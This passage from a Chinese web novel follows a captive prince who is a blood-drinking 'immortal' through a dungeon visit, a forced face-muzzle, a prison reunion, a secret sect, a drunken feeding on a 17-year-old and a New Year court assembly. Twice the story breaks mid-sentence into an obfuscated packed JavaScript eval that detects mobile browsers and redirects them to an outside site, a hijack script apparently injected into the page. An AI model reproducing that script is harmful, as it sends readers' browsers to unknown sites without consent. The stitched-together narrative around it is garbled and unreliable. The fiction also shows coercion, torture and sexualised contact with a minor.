得到肯定,萧寂显得有些高兴,他又问道:“你是不是咬崔自青了?” “权宜之计而已,就像你那本假日札。”邱晚说道。 “以后可以不咬他了吗?”萧寂追问道。 邱晚没想到他会这么在意这个:“若是你在意,我可以不再咬他。” 萧寂正要高兴,邱晚却又说道:“但我总会咬别人的。” “为什么?”萧寂急了。 “我有我的原因。”邱晚垂着眸子道。 正在这时,卧房那边传来了动静,或许是凉王醒了。 “凉王还在,太危险了,快回吧。”邱晚推了推萧寂,飞身跑了。 萧寂望着邱晚离去的身影,密道口的光像要将他吞噬了一样,萧寂眼中的光渐渐消散。 忽而,离开的人儿倏然去而复返! 邱晚微喘着,脸上泛着红晕,他一把推过萧寂的轮椅,说道:“你怕黑,我先送你回去。” “我跑得快,他发现不了的。” 轮椅被推得像风一样,在密道中飞驰着。 萧寂转回头,仰着脸,满眼幸福与期待,望着邱晚。 “阿晚,你真好。” “你可以一直对我这样好吗?” 14.面胄 回到书斋时,总觉得屋子里不一样了。 邱晚环顾一圈,目光落在窗前那罐子岁寒三友上。 邱晚倏地头皮一麻,这玩意不是被凉王给摔了吗?怎的又在这了? 莫非顾千尘来过了? 项上颈圈倏地一沉,一种无形的压力扼住了邱晚的命脉。 顾千尘这是在提醒他,做事要有分寸,别忘了他们之间的交易。 顾千尘之于邱晚,就像凉王之于萧寂,是压在他们头上的“父权大山”,而与萧寂不同的是,萧寂根本不怕凉王,可邱晚却不能无视顾千尘。 邱晚有些心慌,他这才意识到,他不能对这世间任何人动以真情,哪怕只是一点点,他必须冷情冷性,因为他的未来,早已拿来与顾千尘做了交换。 邱晚心中那点将将燃起的心火又熄灭了,他推开窗,双臂抱膝,凭着窗台,坐于矮榻上。 满园冬色入眼帘,邱晚望着夜色中朦朦胧胧的归真阁,觉得有些冷。 他已经有些时日未感觉到过冷了。 明月高悬,寒窗独倚,愁肠无人解,邱晚按着心口,直拧得人心肝疼。 “你方才去哪了?”身后响起凉王的声音。 邱晚仓皇回头。 凉王不知何时醒了,大马金刀坐在床榻边,弓着肩背,双手交握放于膝上,一双鹰眼审视着他,也不知看了他多久。 他身后是那幅残破不堪的神女决别图,有一种静寂的灰飞烟灭之感。 凉王睡了一觉,气色又恢复了些,多年征战沙场让他练就了一个强壮的体魄,换作他人这样折腾,怕是早就起不来床了。 “你同崔自青是怎么回事?”凉王问道。 邱晚口中如噙着冷霜:“就是王爷看到的那样。” “你故意引诱他,离间我与他的父子关系。”凉王用几乎笃定的语气说道。 邱晚不置可否,他心情不好,懒懒道:“王爷说是,那便是。” 凉王生性多疑,邱晚不争辩,他反而起了疑心,他想到崔自青跪在地上唤的那声“小晚”,一时恨得牙痒痒。 崔自青是他最得力的一员大将,是他为北雍一手培养出来的好苗子,向来忠心耿耿,从无二心,不能就这样折在邱晚手里。 “崔自青从不近美色,一定是你引诱的他。”凉王再次笃定道,“你就这么饿?不过一天,你便招惹上了本王的义子。” “王爷既然如此信任崔小将军,为何不放了他?”邱晚挑起眼皮看他。 那挑衅、冷漠的小模样,叫人看了几乎要气得将牙咬碎。 “看来是本王太纵容你了,禁足都关不住你。”凉王忽而起身,一把捞住邱晚,拉拽着他便走。 “做什么?”邱晚也不挣扎。 “去见你的小情郎,让你见见他的真面目。” 甫一走进入凉王府的地牢,一股浓烈的血腥味夹杂着腐臭味便扑了上来,一排排,连着上百个铁笼,关畜生似的关着一群又一群人,那些人一个个被折磨得面目全非,双眼唯有惊恐与饥饿。 邱晚头一回看到这种场景,心里不免有些怵。 想到韩松之也正在这样的大牢里受折磨,邱晚的心立马揪得发紧。 凉王似察觉到了邱晚的不适,一把揽住他,半搂着他走,一边还威胁道:“知道怕了?知道怕了就听话!就你这娇气模样,将你关进来半日你都受不了。” 邱晚稳了稳心神,地牢里腐尸与血污的气味让他几欲作呕,顾千尘说过,不死人绝对不能碰腐烂的食物,邱晚的反应似乎更大一些,他光是闻着,就已经很不舒服了。 “嘶……”一侧的牢笼里忽的探出一条满是刺青、蟒蛇一般的手臂,像是要咬住邱晚。 只见那人满头脏兮兮的细辫子,头上包着动物皮毛头巾,耳上颈上挂满了骨头和牙齿。 那怪人龇着一口黑牙,眼冒精光,扒在铁笼上喃喃道:“不老不死的妖邪……吸人精血不老不死的妖邪……” 凉王将邱晚往怀中一揽,斥道:“什么人?” 随从答道:“是个乌兹巫师。” 凉王皱眉道:“把他嘴堵了。” “是。” 随从用烂草胡乱堵了巫师的嘴,那人却还在喋喋不休咒道:“吸人精血不老不死的妖邪……爱你的人都将离你而去……你将永生孤独……无人可爱无枝可依……” 邱晚的心砰砰直跳,一种强烈的不安感涌上心头。 凉王掰回他的脸:“别看了,一个疯子而已。” 邱晚的心空悬着,眼前的一切都显得那么不真实,巫师的话,像是对不死人的诅咒,不停地往他脑中钻。 你将永生孤独,无人可爱,无枝可依。 走到地牢的深处,是几间独立的牢房,微弱的光火下,远远便能看见,崔自青满头是血、戴着锁链坐在一堆烂草中,与平时嚣张跋扈、威风凛凛的崔小将军完全不是一个模样。 “咣当!” 锁头打开了。 崔自青听到动静,看到是凉王,他立即拖着重重的锁链,跪着爬过来,磕头道:“义父,义父,我知错了。” “废物,好好的车骑大将军不做,要做阶下囚!”凉王嗤道。 “我知错了,我知错了,义父,我知错了。”崔自青磕头如捣蒜。 邱晚有些惊讶,崔自青的惊恐不像是装的。 凉王乜眼看他:“还记得大牢的滋味吗?还想再回到这不见天日的地方等着被砍头吗?” “不想,青儿不想,青儿一定听义父的话。”崔自青仍在磕头,直将那地面磕得鲜血淋淋。 “抬起头来!”凉王命令道。 崔自青惶惶抬头,他脸上青一块紫一块,横着几道鞭痕,额头渗着血,满眼恐惧,全然没了往日的风采。 “不要忘记你的来处,更不要忘记,是谁将你从这发臭的地方拎出去的!明白吗?本王可以让你做大将军,也可以让你做回阴沟里的老鼠,明白吗?” “明、明白。”崔自青颤声道。 “睁大你的眼!”凉王命令道,他按住邱晚的肩,将他推到崔自青面前,逼问道,“看看,这是谁?” 崔自青看着邱晚,眼皮直抖:“邱、邱太子邱辞兮。” “错啦!”凉王大吼一声,再次问道,“再说,他是谁!” “他是……他是南邱战俘邱辞兮。” “还是错啦!” 崔自青全身一抖,闭了眼,匍匐倒地,跪答道:“他是义父的枕边人,是义父即将迎娶的凉王妃。” 地牢里一片寂静,几只白蛾子在微光中扑棱着翅。 凉王等了等,这才在崔自青的脑袋上拍了拍:“这就对了嘛。” 他按住崔自青的头,又问道:“你应该叫他什么?” “公、公子。”崔自青颤声道。 “又错啦!”凉王重重按住他的脑袋,直将他的脑袋几乎按到了地上,大声道,“叫父妃!父妃!听到没!” “父妃……”崔自青整个肩背一塌,将满嘴的血水往肚里吞,伏地拜道,“儿子……拜见义父、父妃。” 凉王终于满意了,他站直身,拍拍手,将邱晚拉入怀中,说道:“看清了没?这就是崔自青,北雍凉王麾下鼎鼎有名的车骑大将军,崔、自、青。” 这个曾经攻破建康城,残暴屠城,将邱晚绑在马背后拖行的暴烈毒蛇,如今像条可怜的狗一样匍匐在烂草堆里,害怕得肩背直颤。 可邱晚却一点也高兴不起来。 “将你们的崔小将军扶出去,好好疗伤。”凉王吩咐道。 “是。” “走。”凉王揽过邱晚的肩,不让他再看崔自青,“本王带你去试试专为你定做的面胄,你戴上一定很美。” 所谓面胄,其实是一个结合人脸定制的“人面嚼子”,用极轻极韧的金线铁编织而成的半面面罩,极度贴合人脸骨骼,外头装饰以珠宝、金片及珍珠面帘,戴在脸上,就像一个精致的半面盔甲。 最离谱的是,内含一颗衔珠,一旦戴上,就像一个衔着珠子被关锁了面部的美丽宠物,是半句话也不能讲,张嘴也张不得了。 更别提咬人了。 凉王对设计了这款面胄的匠师非常满意,大赞他是个天才。 “你休想让我戴这种东西!”邱晚后退道。 “小晚,你必须得戴着,你只有戴了这个,本王才放心将你交给他人看管。”凉王拿着面胄,一边哄一边靠近,“本王总不能十二个时辰将你别在腰带上。” “我不是畜生,也不是宠物。”邱晚羞愤道。 “小晚,你怎么会这么想呢,你瞧它多漂亮,多贵重,你戴上一定特别美,你就当它是个面帘,或者是个面具。”凉王拿着面胄哄道。 “你只要戴上,本王就可以满足你其它要求,你尽管提。” “你不是想见韩松之吗,本王允许你去,你不是想外出活动吗,本王也不再禁你的足,行不行?” 邱晚颤着微红的眼,说道:“你将那颗衔珠去掉。” 凉王看着那颗衔珠,说道:“这可是这个面胄最精华的部分。” “去掉我就戴。”邱晚冷声道,“条件就是,让我见韩松之,让我自由活动。” 最后,凉王颇为遗憾地看着匠师摘掉了那颗价值不菲的东海衔珠,他可惜道:“真想看着小晚含着它。”随后又对那匠师道,“等等,你可以拿这颗珠子制个别的……” 等到邱晚戴上那个面胄,眉眼间的绝色风情便再也掩不住了,而那被遮盖的半面风华,又叫人想入非非。 匠师都看呆了,他感慨道:“果然好物还得配美人,能让公子这样的美人戴上我做的面胄,是我三生有幸了。” 凉王却沉默了,他直直看着邱晚,久久未出声。 直到临走前,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409736|163457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才吩咐了匠师:“再打三个,要更漂亮的。用最好最贵的材料,不用在意价钱。” “是。”匠师跪拜应道,估摸着人走远了,他才抬起头,问道,“想必,这人便是那个邱朝太子?” “什么太子不太子,都被凉王睡成女人了,还太子呢?呵。”另一个匠师讥笑道。 匠师拍拍身上的尘,不以为然:“从来傲骨折不断。有些人天生就是天上的鹰,就算打断脊骨,扔进烂泥里,也还是可以重新再长出血肉,长出羽翅,重新飞起来。” 邱晚很不习惯这个面胄,但他需要尽快见到韩松之,他便忍了。 回王府的马车上,凉王将邱晚紧紧拥在怀里,他瘾又犯了,抱着邱晚躁动不安。 邱晚闭着眼:“王爷想戒断,就得忍着。” 凉王声音都开始颤了:“真没想到,本王给你打的面胄,第一个妨碍的,竟然是本王自己。”他摸出腰间的钥匙,哆嗦便要开锁。 “劝王爷忍一忍。”邱晚漠然道,“还病着呢。” “也对。也对。”凉王狠狠掐了邱晚一把,“本王得忍着,本王得戒了这个心瘾。你已经是本王的人,还能跑了不成?” 邱晚没再作声。 凉王出行,一路戒备森严,路上人迹罕至。 夜色已深,家家户户关门闭户,准备过年。 此起彼伏的爆竹声响起来了,隐约可闻孩童追逐打闹的声音。 “过年了。过年了。阿娘阿爹,过年了。” 邱晚想念南邱,想念皇兄璟。 父皇邱文帝一定已经知道了他被俘,落到了凉王手里,可他没有要救邱晚的意思。 或许在父皇心里,他这个儿子就应该战死在建康城,而不是成为邱雍和谈时受人掣肘的棋子。 邱晚攥紧五指,忽而说道:“停车!” “我要见韩松之。” 凉王没有反对,而是掰过他的脸,说道:“想见韩松之?你得亲口答应,同本王成亲。” “小晚,别再犟了,你没有选择。” “本王珍重你,才会这样问你。” 直到马车将邱晚在刑部大牢门前放下,邱晚悬了半日的心才算踏到了地面。 南邱的请降书,被杀的独孤奉,胆小怕事的小皇帝,还有卑微求饶的崔自青,无不显示着凉王在北雍至高无上的权力。 被他看上的人,是逃不了的,除非他死。 既然事已至此,那便破釜沉舟,没什么可怕的。 只要能扳倒凉王,解除南邱的危机,成不成亲又有何关系,反正最终都是要与顾千尘离开的,这世俗中的牵牵绊绊都将与邱晚无关。 门前的小巷里有一家小食店,老伯已在收摊,邱晚走过去,买了最后一份汤饼和一壶屠苏酒。 他身后跟着一队凉王的随从,并三名暗卫,将他看得死死的。邱晚只觉好笑,凉王还是过于小心了。 邱晚用凉王的令牌,毫无阻碍地便入了大牢。 见到韩松之时,邱晚几乎都要认不出他来了。 他胡子拉碴,身上又脏又臭,浑身是伤,根本没了人样。 邱晚一番大怒,掌掴了两个狱卒,将他们骂了个狗血淋头,这才换来韩松之去痛痛快快洗了个澡。众人都知他与凉王的关系,不敢忤逆。 等到韩松之洗了澡,洁了面,束了发,换了身干净衣裳,再出现在邱晚面前时,便又是那个玉树临风的韩将军了。 邱晚终于笑了,他抹着眼端出带来的汤饼和屠苏酒,却发现酒冷了,汤冷了,饼面也稠了。 邱晚有些懊恼。 韩松之始终温柔地看着他,将他的怒火、欢喜和懊恼都收于眼底,随之化成一种包容一切的温柔,问他:“殿下,这段日子你过得可好?” 这里不方便说话,千言万语都藏于目光中,透过面胄,邱晚的声音有些模糊:“还行。” “殿下为什么戴着这个?”韩松之问道。 “好看吗?”邱晚抬眸问道。 “殿下戴什么都好看。” “好看就行。” 邱晚垂着眸子,斟上满满一杯屠苏酒,递给韩松之,说道:“我会同北雍凉王成亲,你能理解我吗?” 举着酒杯的手,停在韩松之面前。 韩松之没有接。 他深邃的眉眼中已然是狂风过境,万物倾颓,所有的愤怒、不甘与委屈,最后却化为稳稳的一句:“为什么?” “为了邱朝。”邱晚望进他的眼。 韩松之沉默了许久。 大牢里很静,凉王的随从、暗卫和狱卒一个个都苍蝇盯缝一样盯着两人的一举一动。 “好。”他最后说道,“殿下做什么决定,末将都支持你。” “从小到大,韩大将军都是我最强的后盾。”邱晚再次递上那杯酒,“酒虽冷了,却尚可入腹。今儿过年,松之,为我饮了这杯酒。” 15.意外 邱晚从大牢里出来,已是亥时。 狱卒提着灯笼,殷勤地为他开门,邱晚道了声“有劳”,那狱卒立即战战兢兢跪道:“折煞小的了,能为公子效劳,是小的的荣幸。” 邱晚奇怪地瞄了他一眼,方才来的时候,也没见他们这般殷勤呀。 大门一开,便见那高高的石阶下,一驾四骢玉辇已候在那了,前后各一队骑兵护驾,两侧车夫、侍从侍立,车后执旌者一应俱全,车前悬着朱红纱灯,上书一个大大的“凉”字。 这是……闹哪样? 邱晚虽贵为邱朝皇子,但除了太子册立大典那一回,邱晚过得一直都是自由自在的闲散小皇子的日子,多半时候还扮成个小道士在民间游历,这种大张旗鼓的仪仗邱晚并不热衷。 见邱晚出来了,领头的侍从立马小跑上来扶着:“公子,王爷入宫了,派奴才来接您回府。” “为何来这些人?”邱晚问道。 “王爷说了,从今日起,公子的一切都得按照凉王正妃的仪制来。公子,当心脚下。” 邱晚心中一刺,又问:“王爷入宫做什么?” “大约是与陛下商议北雍同南邱和亲事宜,以及……”侍从道,“以及王爷与公子的大婚事宜。” 这么快。 邱晚没料到凉王的动作会这么快,邱晚不过是一个时辰前口头答应了他,凉王便已经急吼吼地将它变成了事实。 侍从又道:“王爷还说了,明儿正月初一正旦朝会,王爷要带公子一同去,今晚公子可得早些歇息……王爷可真疼公子,正旦朝会世子爷都未曾去过呢……” 侍从还在叽叽歪歪,邱晚的心却似灌满了冬夜的风。 邱晚要同一个敌国王爷成亲了。 而且是,作为一个战败国的太子,嫁入王府作男妃。 方才在大牢里还同韩松之说得云淡风轻,可是当这件事真正落在身上,说不介意是骗人的。 师父说过,这世间最美好的感情,是一生一世一双人,彼此既是交付真心的爱人,又是并肩而立的战友。 邱晚也曾抱有幻想,可这种感情以后恐怕很难有了。 邱晚有些难过。 但也只能难过一会,毕竟路还是要走下去的。 回到王府时,远远便见庭院里堆起了高高的“香山”,仆人用沉香木和甲煎堆成小山,以火投之,香山立马烧成了火山,焰起数丈,香气十里。 “这是我们雍都的过年习俗,叫做庭燎,家家户户在庭院里燃起香山,用来驱寒迎祥。”侍从说道。 火光照亮邱晚的脸,邱晚想起来,萧寂曾问过他,南邱是怎么过年的。 原来,北雍过年同南邱是这么的不一样。 抱朴轩里也焕然一新,绣画屏风、镜台妆奁、锦衾绣被、流苏罗帐应有尽有,一改原本的家徒四壁风,变得花里胡哨。 但办事的人总算有眼色,原来的东西并未乱动。 瞧着屋外巡防的人果然撤掉了不少,邱晚随口一问:“崔小将军呢?” “听说被王爷派去北大营了。” 邱晚眯了眯眼。 崔自青这厮总是将抱朴轩围得铁桶一般,叫邱晚一点缝隙都找不到,如今这位毒蛇不在,很好。 等到夜更深了,邱晚换了身夜行衣,寻了个换防的间隙,跳窗跑了。 邱晚速度极快,在夜色的掩护下,像一只轻盈的夜鸟,轻松避过了凉王府的护卫。 宝钧坊,雍都最有名的宝器定做工坊。 坊主早已给众人放了假,众工友也都陆陆续续回家过年了,只有一个匠师还坐在案前,点着盏烛火,不慌不忙地拿着小锤子敲敲打打。 忽而烛火一晃,一柄冰冷的匕首抵住匠师的喉管。 “面胄的钥匙拿来!” 匠师颔首一笑:“您终于来了。” 邱晚蹙眉:“你知道我会来?” 那匠师缓缓起身,拂了拂衣袖,正正经经朝邱晚行了个跪拜礼:“天机门,玄渺,拜见少主。” 邱晚被他拜懵了:“什么?什么天机门?” 玄渺笑了,他双手托出半枚金属骨哨,说道:“少主,您的师父苏公子……”玄渺咳了一下,“也就是自称罘罳居士的那一位,正是天机门的门主,门主听闻少主有难,故派属下前来相助。” “师父!”邱晚欣喜不已。 他接过那半枚骨哨,又掏出自己脖子上戴的那半枚,将两枚骨哨一合,只听“吧嗒”一声,果然严丝合缝,合二为一。 邱晚激动不已:“师父他如今身在何处?他身体可好?何时会来看我?” “门主他最近犯了旧疾,诸事加身,有点脱不开身。”玄渺梗了一下,“主要是……顾四爷将他看得太紧了。” “门主说,这个世界出了点意外……他一个没看住,就让少主受了些磨难,委屈少主了。”他又道,“这枚骨哨便是这个世界天机门的少主令,从今往后,天机门众徒,都将听从少主的调令。” “啊?”邱晚一时还转不过弯来。 玄渺又道:“天门门徒遍布北雍、东乾、南邱,隐藏于各行各业中,都是一顶一的厉害人物,由于久未启用,目前还需要一些时间拉通、联络、整合,请少主再给玄渺一些时间。” 邱晚听得一愣一愣的。 “半月之内,必能搞定。”玄渺眨了下眼。 邱晚觉得这个玄渺说话奇奇怪怪的,跟他师父风格有些相似。 他攥紧手中骨哨,这要是真的,那可真是天降横财了。 “那,你能帮我解开这个颈圈吗?”邱晚拨开雪色衣领,露出那个金色颈圈。 玄渺眼睛一亮:“这不是凡人东西?” 邱晚道:“我也不知道。” 玄渺立马将他的百宝箱找出来,叮叮当当翻箱倒柜,终于翻出一个微型仪器,他将那东西打开,怼着邱晚的颈圈看了许久。 “或许能解。”他越看越激动,说道,“给我点时间,若能解开,少主可以将它送给我吗?我需要拿它做点研究。” 邱晚点点头,他瞅着玄渺那个百宝箱和他手里那个奇怪的仪器,问道:“玄渺,你来自哪里?原本是做什么的?” 玄渺登时收敛了眼中对那颈圈的痴迷与兴奋,略为正经地笑了笑,道:“一个普通匠人。” 邱晚不太相信。 师父说他是个穷写书的,兼游方道士,可现在玄渺告诉他,师父是天机门门主。 他没想到他的师父这么厉害。 这世界太玄妙了。 你不能相信你所看到的所有事物表象。 玄渺给了邱晚一把钥匙,轻松便解开了那烦人的面胄,邱晚更高兴了。 他愉快地离开了宝钧坊,在雍都的除夕夜游荡了一会,坐在屋顶上看人放焰火,又随机逮了三个清贫的美少年饱餐了一顿,顺便还将从凉王府捞来的金锭子悄悄给他们一人放了一锭。 “买点好吃的,多长点肉。”邱晚拍拍其中一个少年瘦削的背,叹了口气,飞身走了。 经过一家烧酒坊时,邱晚有些嘴馋了,过去他是爱喝酒的,可自从变成这该死的不死人,每天除了血就是血,也不知这酒还能碰不能碰? 邱晚捞了一壶回到抱朴轩,痛痛快快洗了个澡,便抱着酒壶猫进了被窝。 庭院里,凉王府的人还在烧庭燎,烧得噼里啪啦响,据说要一直烧到天亮,香气笼罩着整个凉王府。 邱晚举着酒壶,朝着床榻内侧那破烂屏风里的飞天神女敬酒。 “神仙姐姐,过年好。”邱晚醉熏熏笑道。 不知是这酒太醉人,还是被那香气给熏的,邱晚一会便晕乎乎的,他搂着衾被一歪,便醉玉倾颓般,进入了梦乡。 梦里那个铜铃又响了。 叮铃铃,叮铃铃。 邱晚迷迷糊糊扯住那个铜铃,又睡过去了。 庭燎的光火似乎照到了建康城,被摧毁的城池仿若又恢复了往日的繁华。 明灯高悬的宣和楼上,邱晚又看到了皇兄璟。 璟还是当初的模样,风采翩翩,他在一盏宫灯上画了一簇红梅枝,递到邱晚手里,说道:“阿晚,这次回来就别走了,留在皇城,孤需要你。” 邱晚拨弄着那盏灯,脱口道:“皇城不好玩,江湖才好玩。” 璟宠溺地在他额头上弹了一下:“野小子,诺大一个建康城都不够你玩的,你又在外头结交了些什么狐朋狗友?” 邱晚揉揉脑袋,只笑不语。 璟笑道:“小心孤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那人一颤,却仍是一动不动。 邱晚似得到了默许,他循着那跳动得愈发急促的颈动脉,细细舔着,一直舔到了锁骨处,直到再无处可去,他恼怒般轻咬了一口,鲜红的血珠便渗了出来。 正是那一点点血珠,令人晕眩的血香便立时扑了邱晚一脸。 邱晚当即被砸得头晕目眩! 邱晚急得低吼了一声,他从未觉得谁的血有如此大的冲击力,相比之下,他曾吸食过的那些简直什么都不是了。 他再也耐不住了,揽住那段脖颈,狠狠一口咬了下去! 吃上的那一瞬间,邱晚整个人都要化了。 太爽了,这世间竟然有此等美味。 汩汩的吞咽声,响彻在新年的喧闹里。 窗上映着庭燎的光火。 萧寂在黑暗中睁大了眼。 他紧紧抓着衣袖,身体绷成僵直的木棍。 他一动不敢动,甚至连呼吸声都不敢加重,可他的身体明明烧起来了。他从未有过这种感受,那个人在他颈间肆意放火,将他身体里的每一寸腐朽都烧起来了。 这世间,从未有人敢,如此亲近于他。 所有人都怕他,远离他,盼着他疯掉,希望他自生自灭,早日消失。 而这个人,在往他身体里放火。 萧寂的身体,也如同那庭院里燃烧的香山,从新年的第一刻,噼里啪啦,摧枯拉朽,一直烧到了天明。 一刀背着身窝在窗下的矮榻上,听着床那边的动静,默默咬住了自己的拳头。 要了命了,要了命了。 主子,那可是你父妃。 都说了不要招惹他,不要招惹他,这下好了吧。 一刀密切注意着窗外的动静,一夜不敢合眼。 直到东方既白,凉王风尘仆仆踏雪归来。 一刀汗毛一立,再也绷不住了,他冲到床榻边,低喊了声:“主子,快跑,凉王来了!” 16.交换 这一喊,便将邱晚从稀里糊涂的楚梦云雨中给喊醒了。 邱晚倏地睁开眼,眨巴眨巴眼,看着眼前人。 待他看清这人是谁,以及意识到自己是以什么姿势抱着对方时,邱晚立马惊恐弹开。 这不是第一次了。 上回抱着人家又啃又咬,这回直接上身了。 邱晚大呼要命,自己莫不是中了什么邪? 萧寂才十七岁,还是个男孩! 莫不是最近吸食少年人吸多了,开始对美少年感兴趣了? 邱晚酒醒了,将自己昨晚干的浑事忘得一干二净,他一副自己无意轻薄了良家少年的心虚心态,抬头朝一刀压低声音喊:“他怎么来的?你怎么不扛他走?” 一刀欲哭无泪。 二位主子夜里黏的如胶似膝,天一亮拍拍屁股不记得了,还怪起旁人不作为来了。 “我这就带他走。”一刀一把扛过萧寂,跑了两步又想起忘了轮椅,他将萧寂往轮椅中一塞,低声提醒道,“公子快准备着,凉王来了,告辞!” 说罢便一阵风跑了。 邱晚隐隐听见了脚步声,扫了一眼枕边,立马将那面胄重新戴上了。 待到凉王推门而入,看到的便是邱晚岁月静好安睡着。 房间里弥散着邱晚的特殊香味,凉王一闻一个激灵,心里的瘾又浮了上来。 他戒了这两日,憋得着实辛苦,他快步走到床边,照着他的额间便是一吻。 “小晚……” 妈的,声音又颤了。 邱晚立时睁开眼,直坐起来。 面胄的珠帘一晃一晃,渐欲迷人眼。 凉王昨晚在宫中同小皇帝、太后较量了一整晚,夜漏时分便开始筹备正旦朝会,这会本已显出病态,体力不支,可一靠近邱晚,整个人又亢奋起来。 仿若回到了少年时期,永远不知疲倦。 凉王觉着邱晚真是他的宝贝。 可眼下,正事要紧。 凉王命令道:“都进来吧。” 两队小侍各自托着物什快步移入,呈两列排开。 一列是晨起盥洗用的,铜盆、青盐、洁面帛巾、净手的银匜、织金手巾、沐发薰面用的香泽和玉容膏,一应俱全。 另一列则用漆盘托着今日要穿的华服、白纱单衣、玉冠、玉佩组绶、蔽膝及鞋履,清一色簇新的。 “过来。”凉王捧住邱晚的脸,替他摘掉了面胄,又命令道,“给公子洗漱更衣。” “是。” 十余人相继而上,围着邱晚,有条不紊地伺候着,全程无一人作声。 凉王则闲坐于一侧的矮榻上,端起一盏茶,享受地看着。 直那小侍的手停在邱晚腰间欲为他系腰带时,凉王起身过去,拎开了小侍。 凉王从身后环住邱晚,将那金玉腰带绕于他腰间,金带束住衣袍,也将那把腰束得纤细诱人,凉王贴在邱晚耳后,看着铜镜里金尊玉贵的人,说道:“本王若予你尊荣与自由,你愿意常伴本王身边吗?” 邱晚抬眸,眼中是清泠泠的月色。 “本王知你不愿。”凉王遗憾道,“所以本王只能给你尊荣,不能给你自由。” “吧嗒”一声,金带的玉质搭扣,扣紧了。 凉王托起那个面胄,重新戴在了邱晚脸上。 “今日正旦朝会,你是本王的人,需紧紧跟在本王身边,知道吗?”凉王将邱晚往怀中一揽,“走,本王带你去看看北雍的天下。” 马车自朱雀门驶入皇城,一路均有士兵执火把守卫,燎火通明。 太极殿前已是雅乐喧天,百官序列。 凉王牵着邱晚的手,大大方方从百官队列中穿过,邱晚戴着面胄,他们看不清邱晚的脸,可邱晚却能看清他们或疑惑、或惊讶、或鄙夷的神情。 凉王毫不在意,他轻捏着邱晚的手,把这场注目礼当作一场战利品的展演。 忽听钟鼓齐鸣,天子出阁。 小皇帝萧蘅戴通天冠,服绛纱袍,自两仪殿出,羽葆幢、华盖仪仗列队,一路警跸。 正旦朝会的流程冗长而复杂,朝贺三仪,一样都马虎不得,直折腾得病弱小皇帝脸都惨白了,他满头大汗,脚下发虚,那无穷无尽的贺表却怎么也读不完。 终于,在小皇帝晕厥前,仪式结束了。 小皇帝被人搀扶了下去。 凉王宣布,赐宴百官。 小皇帝回殿休憩后,就一直没出现,众人都暗中唏嘘。 今年的正旦朝会比往年都要折腾,这哪是显示国威,这明明是折磨小皇帝。 凉王带着邱晚坐在仅次天子之位的宝座上,俯视着殿中群臣,一派君父作派。 酒过三巡,宴已过半,小皇帝终于来了。 凉王端起一杯椒柏酒,站起来:“陛下,臣可都等着您呢。” 萧蘅已换了冠服,他脸上依旧惨白,薄唇透着病气。 小皇帝扶着小太监登上御座,强撑着精神,将昨晚早已与凉王商议好的诏书,一句一句说出来。 “朕承洪业,夙夜兢兢。今岁首元正,特颁诏曰。” “其一,朕已签署北雍与南邱和亲休战国书,出使使团即刻便出发。” “其二,凉王萧起,征战南邱有功,加封大司马,大丞相。” “其三,世子萧寂,年近十八,赐封凉亲王,择吉日开封建府。” “其四,邱朝太子邱辞兮,赐封韫国公,正一品,享国公俸禄。” 这第四条一出,殿中颇有微词。 “一个战败国太子,岂能赐予国公爵位?” “有凉王那座大山压着呢,凉王说给,能不给么?” “赐封韫国公,有俸禄却无实权及封地,虚封而已。” “这个韫国公的‘韫’字,倒是别明深意……” 凉王摆摆手,殿中才稍稍安静下来。 小皇帝开始剧烈咳嗽,几乎三字一咳,字字说得艰难。 “其五,自大建二年,水旱不时,天灾屡见,朕甚惧焉。爰布溥恩,与民更始,时逢万品维新之始,特令大赦天下……” 邱晚抬眸看向萧蘅,看着他苍白而坚定的脸,忽而觉得这小皇帝,并不是表面那么懦弱无能。 “其六……” 说到第六时,凉王转头看向小皇帝。 那目光满是警告,能杀人。 哪来的第六? 小皇帝顶住那威严的目光,战战兢兢说道:“其六,自先帝崩逝,朕膺天命,羸弱多病,政务荒废,先帝所试行的五省六曹制形同废除,今值正旦伊始,朕、朕决定……” 凉王的目光如利箭射向他。 “朕决定,重新启用五省六曹制,修正为三省六部制,设中书省、门下省、尚书省,中书省负责决策,门下省负责审议,尚书省掌六部负责执行,另设政事堂,三省统一入政事堂办工……” “陛下!”小皇帝还未说完,凉王便厉声打断了他。 小皇帝浑身一哆嗦,差点哭出来,方才绷着的那一股勇气仿若已经用尽。 三省将相权一分为三,独相变群相。 凉王即便被封为“通天大丞相”,他的权力也被稀释了。 小皇帝未经凉王同意便私自在正旦朝会上宣布这一诏令,凉王轻笑,好大的胆子。 知道反抗了? 就凭你? “陛下累了,该回宫休息了。”凉王冷飕飕道。 “朕、朕不累……”小皇帝哭唧唧道,“朕的话还没说完……” “陛下累了。”凉王一声令下,“来人,送陛下回宫!” 满朝臣子,皆眼睁睁看着小皇帝被凉王的人架走,作壁上观。 昨日凉王才在府邸砍杀了独孤奉,三大氏族之首的家主,凉王说杀就杀。 没有十足的利益及权力诱惑,无人会站边反抗凉王。 北雍朝中为官者,绝大部分均出自贵族氏族。 这两百余年的权力更迭游戏中,皇帝换来换去,贵族氏族却一直是被拉拢的对象,他们没有必要持特别的明确立场,因为不管谁当皇帝,他们的既有利益都不会被削弱。 反而,会因为双方的争相出价而有所提高。 相反,选边站才有风险。 譬如独孤奉这般。 独孤奉乃当朝太后的亲哥哥,姻亲关系所致,他天然便会站在太后及小皇帝这一边。 过去这些年,小皇帝安静地当傀儡,太后与独孤氏极力讨好凉王,三者相安无事。 但若这个平衡一旦被打破,那于独孤氏而言,恐怕便是灭门之祸。 这代价太大了,世道太乱,站边太危险。 对贵族氏族而言,最好的办法,就是不参与斗争,作壁上观。 邱晚看得心里发凉。 